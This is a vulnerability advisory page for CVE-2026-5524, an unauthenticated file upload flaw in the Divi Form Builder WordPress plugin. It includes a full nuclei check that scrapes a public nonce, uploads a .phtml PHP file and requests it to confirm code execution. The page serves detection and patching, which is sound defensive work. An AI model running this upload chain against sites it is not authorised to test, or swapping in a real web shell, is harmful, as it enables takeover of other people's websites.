HexBrain

Browse / CVEs / CVE-2026-5524

CVE-2026-5524· elegantthemes / divi-form-builder· CWE-434

Divi Form Builder <=5.1.8 - Unauthenticated Arbitrary File Upload RCE

criticalseverity
9.8CVSS score
3.5%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

The Divi Form Builder plugin for WordPress versions 5.1.8 and prior contains an unauthenticated arbitrary file upload vulnerability in the do_image_upload() AJAX handler. The user-controlled acceptFileTypes POST parameter is injected unsanitized into a PHP regex for file extension validation. By supplying acceptFileTypes=phtml the constructed regex accepts .phtml files while the plugin's .htaccess only blocks .php, so Apache executes .phtml files as PHP. The required nonce (fb_nonce) is publicly embedded in any page containing a Divi form via the de_fb_obj JavaScript object. Uploaded shells land in /wp-content/uploads/de_fb_uploads/. Fixed in 5.1.9.

Impact

Unauthenticated remote attackers can upload and execute arbitrary PHP code as the web server user, achieving full remote code execution on any WordPress site running the vulnerable plugin version with a publicly accessible form page.

Fix

Update the Divi Form Builder plugin to version 5.1.9 or later, which validates file extensions without relying on the user-controlled acceptFileTypes parameter.

How to confirm it

Send: GET {{paths}}
Positive when: contains(body, "de_fb_obj") && contains(body, "fb_nonce") and status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: contains(body, "files") && contains(body, "{{fname}}") and status_code == 200
Send: GET /wp-content/uploads/de_fb_uploads/{{fname}}.phtml
Positive when: contains(body, "{{md5(marker)}}") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-5524 -u <target>

The full check
id: CVE-2026-5524

info:
  name: Divi Form Builder <=5.1.8 - Unauthenticated Arbitrary File Upload RCE
  author: DhiyaneshDk
  severity: critical
  description: |
    The Divi Form Builder plugin for WordPress versions 5.1.8 and prior contains an unauthenticated arbitrary file upload vulnerability in the do_image_upload() AJAX handler. The user-controlled acceptFileTypes POST parameter is injected unsanitized into a PHP regex for file extension validation. By supplying acceptFileTypes=phtml the constructed regex accepts .phtml files while the plugin's .htaccess only blocks .php, so Apache executes .phtml files as PHP. The required nonce (fb_nonce) is publicly embedded in any page containing a Divi form via the de_fb_obj JavaScript object. Uploaded shells land in /wp-content/uploads/de_fb_uploads/. Fixed in 5.1.9.
  impact: |
    Unauthenticated remote attackers can upload and execute arbitrary PHP code as the web server user, achieving full remote code execution on any WordPress site running the vulnerable plugin version with a publicly accessible form page.
  remediation: |
    Update the Divi Form Builder plugin to version 5.1.9 or later, which validates file extensions without relying on the user-controlled acceptFileTypes parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5524
    - https://github.com/caterscam/CVE-2026-5524-PoC
    - https://wpscan.com/vulnerability/CVE-2026-5524
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-5524
    epss-score: 0.03484
    epss-percentile: 0.89218
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 8
    vendor: elegantthemes
    product: divi-form-builder
    framework: wordpress
    publicwww-query: "/wp-content/plugins/divi-form-builder/"
  tags: cve,cve2026,wordpress,wp-plugin,divi,elegantthemes,file-upload,rce,unauth,intrusive,vkev

variables:
  fname: "{{rand_text_alpha(8)}}"
  marker: "{{randstr}}"

flow: |
  http(1)
  if (template["fb_nonce"] == "") {
    stop()
  }
  http(2) && http(3)

http:
  - raw:
      - |
        GET {{paths}} HTTP/1.1
        Host: {{Hostname}}
        Cache-Control: no-cache

    payloads:
      paths:
        - "/"
        - "/contact"
        - "/contact-us"
        - "/get-in-touch"
        - "/quote"
        - "/demo"

    attack: clusterbomb

    stop-at-first-match: true

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "de_fb_obj") && contains(body, "fb_nonce")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fb_nonce
        part: body
        internal: true
        group: 1
        regex:
          - '"fb_nonce"\s*:\s*"([a-f0-9]{10})"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDFB5524PoC
        Origin: {{RootURL}}
        Referer: {{RootURL}}/

        ------WebKitFormBoundaryDFB5524PoC
        Content-Disposition: form-data; name="action"

        de_fb_image_upload
        ------WebKitFormBoundaryDFB5524PoC
        Content-Disposition: form-data; name="fb_nonce"

        {{fb_nonce}}
        ------WebKitFormBoundaryDFB5524PoC
        Content-Disposition: form-data; name="acceptFileTypes"

        phtml
        ------WebKitFormBoundaryDFB5524PoC
        Content-Disposition: form-data; name="file"; filename="{{fname}}.phtml"
        Content-Type: image/jpeg

        <?php echo md5('{{marker}}');unlink(__FILE__);?>
        ------WebKitFormBoundaryDFB5524PoC--

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "files") && contains(body, "{{fname}}")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/de_fb_uploads/{{fname}}.phtml HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{md5(marker)}}")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from